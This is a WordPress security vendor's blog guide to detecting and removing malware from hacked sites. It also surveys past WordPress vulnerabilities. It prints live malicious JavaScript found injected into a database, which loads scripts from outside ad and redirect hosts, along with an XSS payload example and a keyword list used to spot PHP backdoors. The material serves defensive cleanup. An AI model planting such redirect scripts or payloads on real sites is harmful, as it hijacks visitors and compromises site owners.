WordPress Hacked? These WordPress Vulnerabilities Could be the Reason

Is your WordPress site hacked & infected with malware?

If you are a newbie, you might feel lost deciding what to do and how to do it to get rid of the hack. Even if you had a chance with development, it still is hard to accurately find and remove a hack.

Thus, I have put together this extensive guide which would give you a real kickstart in detecting & removing the hack. This WordPress hack removal guide will cover the symptoms, detection techniques, and removal process of a WordPress hack. This guide also covers possible hack causes and types, if you want to get directly to WordPress malware removal steps, follow this link.

Symptoms of Hacked WordPress Website

While things like defacement of a WordPress site are clear indications of WordPress site hacked, other signs may be subtle. These may go unnoticed by average users.

Some subtle signs of WordPress infected with malware are:

1. Warning Messages

  • You receive warning messages regarding account suspension from your hosting provider.
  • A quick Google search shows dreaded Google warning below your website name.
  • A sudden drop in traffic on the WordPress site also indicates that your website might be blacklisted by Google and other search engines for malware spam etc.
  • If you are an Astra customer, you might receive a warning email by us informing about some malicious stuff found in the scan.

2. Weird Site Behaviour

  • If your WordPress site is redirecting users, this is a clear sign of a hack.
  • If you are not able to sign in to your website, it is possible that the hacker has changed the settings and ousted you. However, do check that you are using the correct username and password.
  • Adblockers are blocking the WordPress site for cryptocurrency mining.
  • Unknown pop-ups and malicious adverts appear on the WordPress site.
  • Suspicious Cron jobs waiting to be executed on the server or suspicious activity in the server logs.
  • Some Japanese looking characters and gibberish content appears on the WordPress site. This points towards a Japanese Keyword Hack or Pharma Hack etc.
  • Outbound spam emails spreading from your WordPress website’s domain.
  • WordPress website shows some unexpected error messages and the site becomes slow/unresponsive.
  • Not much traffic on the site but the server is always consuming heavy processing resources.

3. Changes in Files

  • New, unknown files in the wp-admin and wp-includes directories. Both these directories rarely have new files added to them.
  • WordPress theme, header, footer files have been modified to create redirects.
  • New and unknown admins of the WordPress website’s database appear.
  • Search results show an incorrect meta description of your WordPress site.
  • Malicious links in core files.

How to fix your Hacked WordPress Site?

After you are sure that you’re indeed facing a WordPress site hacked, this is how you can go about the hack removal:

1. Let Astra Help You

If you are an Astra Pro customer, you need not worry a bit, just raise a support ticket. Astra security engineers will clean the hack for you. They will also take care of any blacklisting that your website might face.

If you are not an Astra customer, you can sign up right now and we will take care of it all for you. With Astra’s immediate malware removal service, your website will be up and running in merely a few hours.

WP-VCD malware
Astra’s malware scanner flagging WP-VCD

2. Backup Your Website

Take a full backup of your website. Since the purpose of a backup is to restore the website in case of a mishap, do ensure that it is functional. A backup that does not restore your website to its full working condition is nothing but a waste.

Now, a backup should include WP core files, WP database, plugin files, theme files, .htaccess file. Most hosting services offer backing up features. Get in touch with your hosting provider to learn the backup process. Besides that, you can also make a backup manually via an SFTP client like Filezilla.

I have listed below the different ways you can take a backup of your site:

Backup Files

1. Use a Plugin

WordPress also has loads of backup plugins such as UpdraftPlus that simplify the process. You can take a full back up of your site with files & database.

  • Install and activate the plugin.
  • Backup your website and store locally or on the cloud.
2. Via SSH

To make a backup of your files, here is what you can do,

  • Access your website via SSH.
  • And run the command – zip -r backup-pre-cleanup.zip

This will make a zip file of your website which you can then download on your PC.

3. Via SFTP
  • Access your website through SFTP client like FileZilla.
  • Just make a backup folder on your PC and copy the contents there.

Since this requires manual effort, it may take more time than the previous methods.

Backup Database

To make a complete backup of your database, you can do the following:

1. Backup via a Plugin

Again, you can use the same UpdraftPlus plugin to backup your database.

2. Backup via PHPMyAdmin

Otherwise, you can export your database and store it in your PC via PHPMyAdmin.

  • Access your WordPress database by PhpMyAdmin.
  • Export the complete database easily. Store this in the same folder as above or make a different one according to your preference.
3. Backup via SSH
  • Access your website through SSH.
  • And run the following command: mysqldump -p -h hostname -u username database > backup-pre-cleanup.sql

Do remember to change the credentials (username, passwords, hostname, etc.) before backing up the database. Also, remember to delete the copy from the file server after you’ve stored it on local.

3. Turn on the Maintenance mode

If you have detected malicious activity on your website it is only prudent to put it in maintenance mode. This will ensure that no one is able to see the ugly hack and helps retain your site’s reputation. Putting your site on maintenance mode can also ensure that your visitors are safe from any malicious redirection.

Also, while attempting to clean the hack, the changes might hinder the performance of your live site. Obviously, you don’t want that.

You can also use a WordPress plugin like the Coming Soon plugin to show quirky maintenance mode messages to your site visitors without revealing that a WordPress site hacked is under the removal process.

Here is how this plugin works:

  • Install and activate the plugin. It will reflect as “SeedProd” (developer’s name) in the left-hand panel of your admin panel.
  • Enable the maintenance mode.

You can even customize the coming soon page with your brand’s message & logo with this plugin.

4. Change Current Passwords

If you can still access your website, change all the passwords immediately. This should include passwords to your admin panel, hosting account, database, and other accounts. If you have other team members using the admin panel ask them to change their passwords as well. It is possible that the hacker got a way into your website by stealing the password of one of your teammates.

You can also opt for a re-authentication of all user accounts. This will automatically log out every user from your website and will need to get authorized again. This is another way of seizing access from any unauthorized user.

Create automatic new passwords with the help of a password management tool such as LastPass or KeePass for each of these accounts.

Note: When you change your database credentials, don’t miss adding that to the wp-config.php file.

5. Check for Plugin Vulnerabilities

Vulnerabilities in third-party plugins are another common reason for  WordPress getting hacked. In fact, research has it that as many as 56% WordPress hacks are a result of plugin vulnerabilities.

Hence, before jumping to the cleaning process, make sure that the current versions of your plugins are vulnerability-free. To confirm this, you can check the WordPress forum or our blog. We try our best to keep our readers, visitors updated & safe by pushing out a blog or advisory in case of a massive plugin exploit.

Generally, a buzz follows on forums after plugin exploit. Since plugin exploits target large chunks of sites running the vulnerable plugin, you’ll find many people asking for solutions on these forums.

6. Diagnose Files

6.1 Use a malware scanner to find malicious codes

Run your site through a malware scanner. It will fetch you details of all files with malicious content. You can also scan for the malware manually, however that would require a lot of time. Moreover, this wouldn’t be as accurate as a scanner.

Now, use online tools to decrypt the content of hiddencode.txt. This can be alternatively done using the phpMyAdmin as shown in the image given below. Moreover, phpMyAdmin can also come handy while cleaning the database in case of a WordPress site hacked.

WordPress site hacked phpMyadmin

In case you find something suspicious but are unable to figure out what it does, get in touch with experts, we’ll be happy to help.

6.2 Use ‘find’ command to review recent modifications

In order to see the WordPress files modified by the attackers, obtain SSH access to your server and run the following command:

find . -mtime -2 -ls

This command would list all the WordPress files modified in the last 2 days. Similarly, keep increasing the number of days till you find something fishy. Now combine this find command of SSH with the grep command to search for code encoded in base64 format. Simply execute the following command:

find . -name "*.php" -exec grep "base64"'{}'; -print &> hiddencode.txt

6.3 Compare with original WordPress files 

Download fresh WordPress files from the WordPress directory and compare your backup with this. You can also use online tools like diff checker to find the differences between the files. Be careful to download files according to your WordPress version. Note the differences for further analysis. If there are some malicious injected links, remove them at once. Also, check the files for certain keywords like – eval, exec, strrev, assert, base64, str_rot13, Stripslashes, preg_replace (with /e/), move_uploaded_file etc.

You can further simplify the search for these keywords by using command lines. For instance, to search files with keyword base64 run the following command:

sudo grep -ril base64 /

Now, replace ‘base64’ with each keyword to fetch files containing them and then review them attentively.

6.4 Check with Diagnostic Tools

Generally, webmaster’s tools are quick & accurate in detecting the hack. Use this to find the problem. Google search console, for example, lists the problems under the ‘Security’ tab. It is a great way to confirm the type of hack and hacked files/pages. Review this information for a proper WordPress hack removal.

7. Clean the Malware from WordPress Files

After the extensive diagnosis, list down all the findings. Each file difference, recent modifications, fake users/admins, should be reviewed with the utmost attention. Clean the WordPress core files such as wp-config.php, wp-contents/uploads, wp-uploads, plugin files, theme files, the database, etc.

Here is a list of the comprehensive in-depth WordPress Malware Removal guides specific to WordPress hack symptoms. Follow them to detect & remove the malware

8. Clean the sitemap

It may also happen that the WordPress malware is residing in your site’s sitemap.xml. An XML sitemap is a file that helps Google to crawl all the important pages on your website. Sometimes hackers inject malicious links in your sitemap file.

Scan your sitemap for malicious links. If you find anything other than normal, remove it. Also, don’t forget to tell Google that you have cleaned the file, submit a request with your Google search console to re-crawl your website.

9. Clean the database

WordPress database is where all information regarding your users, site pages, sensitive credentials, etc. reside. It’s a no brainer that the database makes for a desirable target. Hence, it is extremely important to scan the database too to find the hack. You can use a malware scanner to know more exactly about infections in your wp_db file.

If you wish to check manually, you would need to scan every one of the 11 tables to find the hack. Search for links/iframes that look suspicious and remove them to get rid of the WordPress site hack. Here is an example of a redirection code inserted into the database:

<script>
const overlayTranslations = {"en":{"title":"Attention!","description":"Click “Allow” to subscribe to notifications and continue working with this website."}};
const overlay = {"delay":3000,"overlayStyle":{"background":"rgba(0,0,0, 0.6)"},"title":"Attention!","description":"Click “Allow” to subscribe to notifications and continue working with this website.",...(overlayTranslations[navigator.language.slice(0, 2).toLowerCase()]||Object.values(overlayTranslations)[0])};
const s = document.createElement('script');
s.src='//humsoolt.net/pfe/current/tag.min.js?z=2774009';
s.onload = (sdk) => {
sdk.updateOptions({overlay, overlayTranslations})
sdk.onPermissionDefault(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onPermissionAllowed(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onPermissionDenied(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onAlreadySubscribed(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onNotificationUnsupported(() => {});
}
document.head.appendChild(s);
</script>
<script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=2574011" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script>

10. Reinstall

If the site is heavily infected, it’s better to delete the files and replace that with the fresh counterparts.

That said, reinstalling is not limited to the files only; after the cleanup makes sure to reinstall each plugin. Sometimes due to lack of time or lack of vigilance we tend to store defunct plugins. A hacker benefits from these plugins for they almost always have exploitable vulnerabilities.

Some WordPress web owners believe that deleting the whole website and starting from scratch is a more viable option.

Well, it’s not.

It doesn’t matter that you build a new website if you are not following the security practices things can always go wrong.

Possible Reasons for WordPress Malware Infection

Your website’s security depends on the steps you take to secure it. Ignoring simple security rules increases your risks online. Although the possibilities of your WordPress site getting hacked are plenty, there are a few common reasons identified behind most WordPress hacks.

Here are they:

1. Not Updating WordPress

This is the most basic security measure for a website. Failing to update to the latest version is the number one reason for hacked sites. So, always be quick in updating to the latest and patched versions. This patches the known vulnerabilities on your website.

2. Hosting on a Shared Server

A shared server may be the cheaper option. But, it has costlier after-effects if hacked. Move your website to a safer hosting. And choose a trusted hosting provider. Make sure to verify whether your provider complies to the best security standards.

3. Using Weak Passwords and Username

Almost all the sensitive areas on your website are password secured. A password made of your own name/your website name and has no numerals/characters is a weak password. Make sure you do not use weak passwords for the following –

  • wp-admin panel,
  • server hosting panel,
  • databases,
  • FTP accounts, and
  • your primary email account.

Also, change your default username to something unique. Words like admin, your own name, website’s name are too easy to crack for the attacker.

4. Incorrect File Permissions

Easy file permissions can let attackers access, modify or delete them. In some cases, attackers even held files against ransom. Set correct permissions as-

  • For files- 644
  • For directories- 755

Wordpress File/Folder Permissions

Related: How to fix WordPress File Permissions?

5. Unprotected Access to wp-admin Directory

The wp-admin directory is the area from where you control your website. Allowing unprotected access to the WordPress admin directory lets your users/team members perform unwanted actions on your website. Thus, restrict access by defining permissions for different roles of the users. That way no user has the power to do it all. Further, adding layers of authentication to your WordPress admin directory also helps. 

6. Outdated Plugins or Theme

Numerous WordPress websites use outdated plugins and themes on their website. Since these plugins and themes already contain known vulnerabilities, it is way too easy for hackers to exploit them. Therefore, if the plugin developer pushes an update, you should be quick to follow.

7. Using Plain FTP instead of SFTP/SSH

FTP accounts are used to upload files to your web server using an FTP client. Plain FTP does not encrypt your password and heightens the risk of someone hacking it. SFTP (SSH File Transfer Protocol), on the other hand, sends encrypted data to the server. So, always opt for SFTP over FTP. You could do this by changing the protocol to ‘SFTP – SSH’ every time you connect to your server.

WordPress Malware Removal

How do hackers attack WordPress websites?

1. WordPress SQL Injection

WordPress version 4.8.3 and previous ones were found vulnerable to SQL injection attacks. Quite ironically, the $wpdb->prepare() method which is generally used to prepare safe queries was itself vulnerable this time. This meant that plugins and themes that used queries created using this function were also potentially vulnerable to an SQLi attack.

Similarly, the WP Statistics plugin of WordPress with more than 3,00,000 downloads was vulnerable to SQLi. Typically, an attacker can read sensitive tables like wp_users of your WordPress site using SQLi. Although the passwords are stored in encrypted format, still tools can be used for decryption. This means getting admin credentials to log into an admin’s account in WordPress. In the worst case scenario, the attacker can even upload a reverse shell using an SQLi leading to a WordPress site hacked.

Related Article – Prevent SQL Injection in WordPress

2. WordPress Cross-Site Scripting

WordPress version 5.1.1 and previous ones were found vulnerable to an XSS, CSRF and RCE vulnerability. This was a stored XSS vulnerability. The wp_filter_kses() function which is used to sanitize comments, allows basic HTML tags, and attributes like <a> tag combined with the ‘href‘ attribute. Therefore, attackers can deliver malicious payload like <a title=’XSS ” onmouseover=evilCode() id=” ‘>. This would get stored in the database and run every time a user visits this page.

Related Blog – Cross- Site Scripting in WordPress – Examples

3. WordPress Cross-Site Request Forgery

CSRF validation token has not been implemented in WordPress and rightly so because if done, it would hinder the trackbacks and pingbacks features of WordPress. To differentiate normal users from admins, WordPress uses an extra nonce for admin validation in the comment forms.

So, if the correct nonce is provided, the comment is created without sanitization. And if the nonce is incorrect, the comment is created with sanitization. So when an administrator fails to provide nonce, the comment is sanitized using wp_filter_post_kses() instead of the function wp_filter_kses(). Thus, the function wp_filter_post_kses() allows an attacker to create comments with lots more HTML tags and attributes than permissible thereby conducting a CSRF attack.

4. WordPress Remote Code Execution

WordPress versions before 4.9.9 and 5.x before 5.0.1 were found prone to RCE. The vulnerable parameter was the Post meta entry of the _wp_attached_file() function. This parameter could be manipulated to a string of choice i.e. ending with .jpg?file.php substring.

However, to exploit this, the attacker needed author privileges. The attacker with author privileges could upload a specially crafted image. This image contained the PHP code to be executed, embedded in the Exif metadata. Script to exploit this vulnerability are publically available and a Metasploit module has been released too!

5. WordPress Directory Traversal

WordPress 5.0.3 was vulnerable to Path Traversal attacks. To exploit this, the attacker needed at least author privileges on the target WordPress site. The vulnerable components was the function wp_crop_image().

So, the user running this function (is able to crop an image) could output image to an arbitrary directory. Moreover, the file name could be appended with the directory up symbol i.e. ‘../‘ to get the path of the file an attacker wishes to obtain i.e .jpg?/../../file.jpg. Exploits and Metasploit modules to replicate this vulnerability are available online!

6. Buggy Plugins or Themes

It is also likely that a poorly coded plugin is responsible for WordPress getting hacked. Themes by non-reputed authors often contain buggy code. In some cases, attackers themselves release malware-laden plugins and themes to compromise numerous sites. Also, an outdated WordPress software can make the site vulnerable thereby leading to WordPress hacked.

Need professional help to prevent WordPress site hacked?. Drop us a message on the chat widget, and we’d be happy to help you. Fix my Hacked WordPress website now.

Securing Your WordPress Website

1. Secure Practices

  • Avoid using common or default passwords. Make sure the WordPress login requires a secure and random password.
  • Remove folders of old WordPress installation from the site as they can leak sensitive info.
  • Do not use null themes or plugins from unreputed authors. Keep the existing plugins and themes up to date with the latest patches.
  • Use subnetting while sharing the WordPress hosting space with other sites.
  • Make sure no sensitive ports are open on the internet.
  • Disable directory indexing for sensitive WordPress files using .htaccess.
  • Restrict IPs based on countries from where you detect heavy bot traffic on site.
  • Follow secure coding practices if you are a developer for WordPress.
  • Use SSL for your WordPress site.
  • Always keep a backup of your WordPress site separately.
  • Rename the wp-login.php into a unique slug.
  • Use two-factor authentication to log into your WordPress site.

2. Use a Security Solution

A firewall can help in securing your WordPress site even if it is vulnerable. However, finding the correct firewall according to the diverse needs of WordPress can be tricky. Astra can help you in making the right choices from its three plans of Essential, Pro, and Business. No matter you use WordPress to run a small blog or a corporate site, Astra covers every ground for you. Moreover, the Astra security solution scans and patches your vulnerable WordPress site automatically. Just install the Astra plugin and your site is secure again.

Try a demo now!

3. Security Audit and Pentesting

As seen in the article, vulnerabilities in WordPress will arise from time to time. Therefore, as a precautionary measure, it is advisable to conduct a penetration testing of your website. This will reveal the loopholes to you before the attackers can catch up on your site’s security. Astra provides a comprehensive security audit of the complete WordPress site. With its 120+ active tests, Astra gives you the right mix of automatic and manual testing.

wordpress security audit, magento security audit

Was this post helpful?



Waiting to Get Hacked?

Get security tips & latest vulnerability fixes right in your inbox:

About The Author

Ananda Krishna

Ananda Krishna is the co-founder & CTO of Astra Security, a SaaS suite that secures businesses from cyber threats. He has been acknowledged by the Indian Navy, Microsoft, United Airlines, etc. for finding critical security vulnerabilities in their systems. Winner of the Best Security Product at Global Conference on Cyberspace 2017 (awarded by Narendra Modi, Prime Minister of India) & French Tech Ticket, Paris (awarded by François Hollande, former President of France). At Astra he's building an intelligent security ecosystem - web application firewall (WAF), malware detection & analysis, large scale SaaS applications, APIs & more. He's actively involved in the cyber security community and shared his knowledge at various forums & invited talks.

6 Comments

  1. Useful guide & steps for fixing hacked WordPress site.

    Great work.

  2. I followed the wordpress malware removal steps mentioned in the guide & able to resolve the infection. The attackers has in infected the WordPress database & WP core files. You WordPress Hack removal guide helped me figure out the infection. Thanks

    May I know which plan or steps should I follow to secure my WordPress website.

  3. I have found a similar wordpress malware script in our database that you have mentioned. Your article on WordPress hack fixing is good giving all the steps in a easy manner. Can you please suggest what more I can do to avoid such hack situations?
    I think the recent hack was because of plugin exploit.

    Thanks in Advance for WP hack fixing steps. Keep the great work coming.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Free Website Security Scanner

Close